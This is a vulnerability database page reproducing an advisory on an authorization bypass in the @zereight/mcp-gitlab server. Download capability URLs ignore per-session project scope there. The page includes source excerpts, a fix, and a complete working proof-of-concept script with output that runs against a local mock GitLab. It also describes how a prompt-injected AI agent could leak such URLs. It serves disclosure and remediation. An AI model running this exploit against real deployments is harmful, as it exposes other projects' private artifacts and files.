PHP2Shell: Read our blog on the critical RCE vulnerabilities affecting 70% of the Internet
Vulnerability DatabaseGHSA-q96h-922g-m3h3

GHSA-q96h-922g-m3h3: 
JavaScript vulnerability analysis and mitigation

Summary

With REMOTE_AUTHORIZATION=true and ENABLE_DYNAMIC_PROJECT_SCOPE=true, a session can narrow its project access with the X-GitLab-Allowed-Project-Ids header. The documentation says the resulting scope "behaves exactly like GITLAB_ALLOWED_PROJECT_IDS for that session". In remote mode, download_job_artifacts, download_attachment and download_release_asset return a self-contained capability URL (/downloads/:type?...&_token=<sealed credential>). That path never applies the session scope:

  1. Issuance: the tool handlers pass the caller-supplied project_id straight to buildDownloadUrl() without calling getEffectiveProjectId(). No allowlist is checked at all, not even GITLAB_ALLOWED_PROJECT_IDS.
  2. Redemption: the /downloads/:type proxy runs outside sessionAuthStore, and the sealed token does not carry the session scope. getEffectiveProjectId() therefore falls back to the process-wide GITLAB_ALLOWED_PROJECT_IDS. As a result, a session scoped to project A can download CI job artifacts, uploads and release assets from:
  • any project the token can reach, when GITLAB_ALLOWED_PROJECT_IDS is unset, or
  • any project on GITLAB_ALLOWED_PROJECT_IDS, when it is set. The returned URL needs no authentication header. It can be reused and handed to anyone until it expires (300 seconds by default).
  • Affected versions: v2.1.58 (commit 79fef14 introduced ENABLE_DYNAMIC_PROJECT_SCOPE) through v2.3.7 / main@672f75a
  • Required configuration: STREAMABLE_HTTP=true (or SSE), REMOTE_AUTHORIZATION=true, ENABLE_DYNAMIC_PROJECT_SCOPE=true

Details

1. Issuance performs no project check

In remote mode, the handlers at index.ts:14446 (download_job_artifacts), index.ts:15053 (download_attachment, non-image files) and index.ts:15229 (download_release_asset) mint the URL directly:

// index.ts:14456
const downloadUrl = buildDownloadUrl("job-artifacts", { project_id, job_id });

Every other project-scoped tool goes through getEffectiveProjectId() (index.ts:2490). That function reads the session scope from sessionAuthStore through getEffectiveAllowedProjectIds() (index.ts:2095) and throws ProjectAccessDeniedError. These three remote branches skip it.

2. The sealed token does not carry the session scope

buildDownloadUrl() (index.ts:76) seals only the auth header, token, API URL and resource:

// index.ts:94
url.searchParams.set("_token", createDownloadToken(ctx.header, headerValue, apiUrl, resource));

The payload in utils/download-token.ts:50-56 has the fields h, t, e, u, r and p. Here p holds the resource params, which prevent URL tampering. It is not a project allowlist. ctx.allowedProjectIds is dropped at this point.

3. Redemption falls back to the environment allowlist

/downloads/:type (downloads/proxy.ts:69) is a plain Express route that does not run inside sessionAuthStore.run(). It calls deps.getEffectiveProjectId() at downloads/proxy.ts:151, :161 and :175. That dependency is injected by buildDownloadProxyDeps() at index.ts:15898. With no store, getEffectiveAllowedProjectIds() returns GITLAB_ALLOWED_PROJECT_IDS:

// index.ts:2095
function getEffectiveAllowedProjectIds(): string[] {
  if (ENABLE_DYNAMIC_PROJECT_SCOPE) {
    const ctx = sessionAuthStore.getStore();          // undefined in the proxy
    if (ctx?.allowedProjectIds && ctx.allowedProjectIds.length > 0) {
      return ctx.allowedProjectIds;
    }
  }
  return GITLAB_ALLOWED_PROJECT_IDS;                  // env-only fallback
}

Observed behavior

GITLAB_ALLOWED_PROJECT_IDSSession scopeTarget projectIssuanceRedemptionResult
unset12succeedsHTTP 200data disclosed
1,212succeedsHTTP 200data disclosed
112succeedsHTTP 403blocked by env allowlist
The third row shows two things. Issuance always succeeds, and redemption enforces only the environment allowlist.

Suggested fix

  1. In the three remote branches, call getEffectiveProjectId(project_id) before buildDownloadUrl() and use the returned value. The handler already runs inside the session context. This alone stops the PoC, because the token is bound to the resource params and project_id cannot be changed at redemption.
  2. Defense in depth: seal the result of getEffectiveAllowedProjectIds() into the download token, and have the proxy check against it instead of the environment value.
  3. Add a case to test/test-dynamic-project-scope.ts. With scope 1, all three download tools must return Access denied for project 2.

Proof of concept

Environment: Node.js v24.14.0, main@672f75a (v2.3.7), built with npm ci && npm run build. The PoC runs the real build/index.js against a local mock GitLab and contacts no external service. The full script is below.

Steps

  1. Start the server:
    STREAMABLE_HTTP=true REMOTE_AUTHORIZATION=true ENABLE_DYNAMIC_PROJECT_SCOPE=true \
    GITLAB_API_URL=http://127.0.0.1:<mock>/api/v4 GITLAB_TOOLSETS=all node build/index.js
  2. Send initialize with Authorization: Bearer <token> and X-GitLab-Allowed-Project-Ids: 1, and keep the returned Mcp-Session-Id.
  3. Control: tools/call get_project {"project_id":"2"} returns Access denied. The session scope is active.
  4. tools/call download_job_artifacts {"project_id":"2","job_id":"20"} returns a download_url.
  5. GET <download_url> with no headers returns HTTP 200 and the project 2 artifact.
  6. download_attachment and download_release_asset behave the same way.

Run

node poc-download-scope.mjs /path/to/gitlab-mcp

Output

[*] session 6ad2f8f3… scoped with X-GitLab-Allowed-Project-Ids: 1
[1] get_project project_id=2 -> isError=true: Access denied: Project 2 is not in the allowed project list: 1
[2] download_job_artifacts project_id=2 -> capability issued: http://127.0.0.1:37809/downloads/job-artifacts?project_id=2&job_id=20&_token=<sealed>
[3]   GET download_url (no headers) -> HTTP 200, body="SECRET-CI-ARTIFACT-OF-PROJECT-2-JOB-20"
      upstream GitLab hit: GET /api/v4/projects/2/jobs/20/artifacts
[2] download_attachment project_id=2 -> capability issued: http://127.0.0.1:37809/downloads/attachment?project_id=2&secret=deadbeef&filename=design.pdf&_token=<sealed>
[3]   GET download_url (no headers) -> HTTP 200, body="SECRET-UPLOAD-OF-PROJECT-2"
      upstream GitLab hit: GET /api/v4/projects/2/uploads/deadbeef/design.pdf
[2] download_release_asset project_id=2 -> capability issued: http://127.0.0.1:37809/downloads/release-asset?project_id=2&tag_name=v1&direct_asset_path=bin%2Fapp.tar.gz&_token=<sealed>
[3]   GET download_url (no headers) -> HTTP 200, body="SECRET-RELEASE-ASSET-OF-PROJECT-2"
      upstream GitLab hit: GET /api/v4/projects/2/releases/v1/downloads/bin/app.tar.gz
[!] VULNERABLE: 3/3 out-of-scope downloads succeeded despite session scope "1"

<details> <summary>poc-download-scope.mjs</summary>

// PoC: remote download capability URLs ignore the session project allowlist
// (X-GitLab-Allowed-Project-Ids / ENABLE_DYNAMIC_PROJECT_SCOPE).
// Usage: node poc-download-scope.mjs <path-to-gitlab-mcp-repo>
import http from "node:http";
import { spawn } from "node:child_process";
import path from "node:path";
import assert from "node:assert/strict";
const repo = path.resolve(process.argv[2] ?? ".");
const TOKEN = "glpat-poc-session-scope-token"; // server requires >= 20 chars
const SESSION_SCOPE = "1"; // the session is narrowed to project 1 only
// ---- mock GitLab -------------------------------------------------------------
const gitlabLog = [];
const mock = http.createServer((req, res) => {
  const u = new URL(req.url, "http://x");
  gitlabLog.push(`${req.method} ${u.pathname}`);
  const auth = req.headers.authorization ?? "";
  if (auth !== `Bearer ${TOKEN}`) {
    res.writeHead(401).end();
    return;
  }
  let m;
  if (u.pathname === "/api/v4/user") {
    return json(res, { id: 1, username: "poc" });
  }
  if ((m = u.pathname.match(/^\/api\/v4\/projects\/(\d+)$/))) {
    return json(res, { id: +m[1], path_with_namespace: `group/project-${m[1]}` });
  }
  if ((m = u.pathname.match(/^\/api\/v4\/projects\/(\d+)\/jobs\/(\d+)\/artifacts$/))) {
    res.writeHead(200, { "content-type": "application/zip" });
    return res.end(`SECRET-CI-ARTIFACT-OF-PROJECT-${m[1]}-JOB-${m[2]}`);
  }
  if ((m = u.pathname.match(/^\/api\/v4\/projects\/(\d+)\/uploads\/([^/]+)\/([^/]+)$/))) {
    res.writeHead(200, { "content-type": "application/pdf" });
    return res.end(`SECRET-UPLOAD-OF-PROJECT-${m[1]}`);
  }
  if ((m = u.pathname.match(/^\/api\/v4\/projects\/(\d+)\/releases\/([^/]+)\/downloads\/(.+)$/))) {
    res.writeHead(200, { "content-type": "application/octet-stream" });
    return res.end(`SECRET-RELEASE-ASSET-OF-PROJECT-${m[1]}`);
  }
  res.writeHead(404).end("{}");
});
function json(res, body) {
  res.writeHead(200, { "content-type": "application/json" }).end(JSON.stringify(body));
}
await new Promise(r => mock.listen(0, "127.0.0.1", r));
const gitlabPort = mock.address().port;
// ---- real gitlab-mcp server --------------------------------------------------
const mcpPort = 30000 + Math.floor(Math.random() * 20000);
const server = spawn(process.execPath, [path.join(repo, "build/index.js")], {
  cwd: repo,
  env: {
    PATH: process.env.PATH,
    SYSTEMROOT: process.env.SYSTEMROOT,
    STREAMABLE_HTTP: "true",
    REMOTE_AUTHORIZATION: "true",
    ENABLE_DYNAMIC_PROJECT_SCOPE: "true",
    GITLAB_API_URL: `http://127.0.0.1:${gitlabPort}/api/v4`,
    GITLAB_TOOLSETS: "all",
    HOST: "127.0.0.1",
    PORT: String(mcpPort),
    // optional extra env, e.g. POC_ENV='{"GITLAB_ALLOWED_PROJECT_IDS":"1,2"}'
    ...JSON.parse(process.env.POC_ENV ?? "{}"),
  },
  stdio: ["ignore", "pipe", "pipe"],
});
let serverOut = "";
server.stdout.on("data", d => (serverOut += d));
server.stderr.on("data", d => (serverOut += d));
const cleanup = () => {
  server.kill();
  mock.close();
};
process.on("exit", cleanup);
const mcpUrl = `http://127.0.0.1:${mcpPort}/mcp`;
for (let i = 0; ; i++) {
  try {
    await fetch(`http://127.0.0.1:${mcpPort}/health`);
    break;
  } catch {
    if (i > 100) throw new Error("server did not start:\n" + serverOut);
    await new Promise(r => setTimeout(r, 200));
  }
}
// ---- minimal Streamable HTTP MCP client --------------------------------------
let sessionId;
let rpcId = 0;
async function rpc(method, params, notify = false) {
  const headers = {
    "content-type": "application/json",
    accept: "application/json, text/event-stream",
    authorization: `Bearer ${TOKEN}`,
    "x-gitlab-allowed-project-ids": SESSION_SCOPE,
  };
  if (sessionId) headers["mcp-session-id"] = sessionId;
  const body = notify
    ? { jsonrpc: "2.0", method, params }
    : { jsonrpc: "2.0", id: ++rpcId, method, params };
  const res = await fetch(mcpUrl, { method: "POST", headers, body: JSON.stringify(body) });
  sessionId ??= res.headers.get("mcp-session-id");
  if (notify) return;
  const text = await res.text();
  const payload = res.headers.get("content-type")?.includes("text/event-stream")
    ? text
        .split("\n")
        .filter(l => l.startsWith("data:"))
        .map(l => JSON.parse(l.slice(5)))
        .find(m => m.id === rpcId)
    : JSON.parse(text);
  if (payload.error) throw new Error(JSON.stringify(payload.error));
  return payload.result;
}
const callTool = async (name, args) => {
  const r = await rpc("tools/call", { name, arguments: args });
  return { isError: r.isError === true, text: r.content?.[0]?.text ?? "" };
};
await rpc("initialize", {
  protocolVersion: "2025-03-26",
  capabilities: {},
  clientInfo: { name: "poc", version: "1" },
});
await rpc("notifications/initialized", {}, true);
console.log(`[*] session ${sessionId?.slice(0, 8)}… scoped with X-GitLab-Allowed-Project-Ids: ${SESSION_SCOPE}`);
// ---- 1. control: the session scope IS enforced for normal tools --------------
const ctrl = await callTool("get_project", { project_id: "2" });
console.log(`[1] get_project project_id=2 -> isError=${ctrl.isError}: ${ctrl.text.slice(0, 110)}`);
assert.equal(ctrl.isError, true);
assert.match(ctrl.text, /Access denied/);
// ---- 2. bug: download tools issue capabilities for out-of-scope project 2 ----
const cases = [
  ["download_job_artifacts", { project_id: "2", job_id: "20" }, "SECRET-CI-ARTIFACT-OF-PROJECT-2-JOB-20"],
  ["download_attachment", { project_id: "2", secret: "deadbeef", filename: "design.pdf" }, "SECRET-UPLOAD-OF-PROJECT-2"],
  ["download_release_asset", { project_id: "2", tag_name: "v1", direct_asset_path: "bin/app.tar.gz" }, "SECRET-RELEASE-ASSET-OF-PROJECT-2"],
];
let leaked = 0;
for (const [tool, args, secret] of cases) {
  const r = await callTool(tool, args);
  if (r.isError) {
    console.log(`[2] ${tool} -> refused: ${r.text.slice(0, 100)}`);
    continue;
  }
  const { download_url } = JSON.parse(r.text);
  console.log(`[2] ${tool} project_id=2 -> capability issued: ${download_url.replace(/_token=[^&]+/, "_token=<sealed>")}`);
  // ---- 3. redeem with NO auth headers at all ---------------------------------
  const before = gitlabLog.length;
  const dl = await fetch(download_url);
  const body = await dl.text();
  console.log(`[3]   GET download_url (no headers) -> HTTP ${dl.status}, body="${body}"`);
  console.log(`      upstream GitLab hit: ${gitlabLog.slice(before).join(", ")}`);
  if (dl.status === 200 && body === secret) leaked++;
}
console.log(
  leaked > 0
    ? `\n[!] VULNERABLE: ${leaked}/${cases.length} out-of-scope downloads succeeded despite session scope "${SESSION_SCOPE}"`
    : `\n[+] not vulnerable: all out-of-scope downloads were refused`
);
cleanup();
process.exit(leaked > 0 ? 1 : 0);

</details>

Impact

  • Boundary bypassed: ENABLE_DYNAMIC_PROJECT_SCOPE lets a gateway or orchestrator hold one broader token and narrow each session, typically one AI agent task, to specific projects. This bug lets a client inside the session read data outside that scope. The ceiling is whatever the token can access in GitLab.
  • Data exposed:
    • CI job artifacts. These often contain build outputs, test reports, .env files, deployment configuration, and sometimes secrets.
    • Issue and merge request uploads (/uploads/:secret/:filename). The secret is required, but it usually appears in issue or MR bodies.
    • Release assets of private projects.
  • Transferable capability: the URL needs no authentication header and can be reused for 300 seconds by default (subject to MAX_REQUESTS_PER_MINUTE). A prompt-injected agent only has to post the URL in a comment on an in-scope project, or pass it to any HTTP client, for an outside party to download out-of-scope files.
  • Limits:
    • Only remote deployments with ENABLE_DYNAMIC_PROJECT_SCOPE enabled are affected. It is off by default.
    • When GITLAB_ALLOWED_PROJECT_IDS is set, the bypass reaches only other projects on that list. When it is unset, it reaches every project the token can see.
    • Read only. Nothing can be written or deleted.
  • Not verified: stateless session mode, which stores the scope in the p field of the sealed session id, is expected to be affected too, since it uses the same unchecked buildDownloadUrl() path. It was not tested.

Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-whwv-ppvg-jwgxHIGH7.4
  • JavaScript logoJavaScript
  • @veritasacta/verify
NoYesOct 23, 2026
GHSA-q96h-922g-m3h3MEDIUM6.5
  • JavaScript logoJavaScript
  • @zereight/mcp-gitlab
NoYesOct 24, 2026
GHSA-83jp-cppw-c3v6MEDIUMN/A
  • JavaScript logoJavaScript
  • llm-fw
NoYesOct 24, 2026
GHSA-j68c-59h4-h9hgMEDIUMN/A
  • JavaScript logoJavaScript
  • @k2b/cloud
NoYesOct 24, 2026
GHSA-cf8x-9m69-3gg3HIGHN/A
  • JavaScript logoJavaScript
  • bun
NoYesOct 24, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management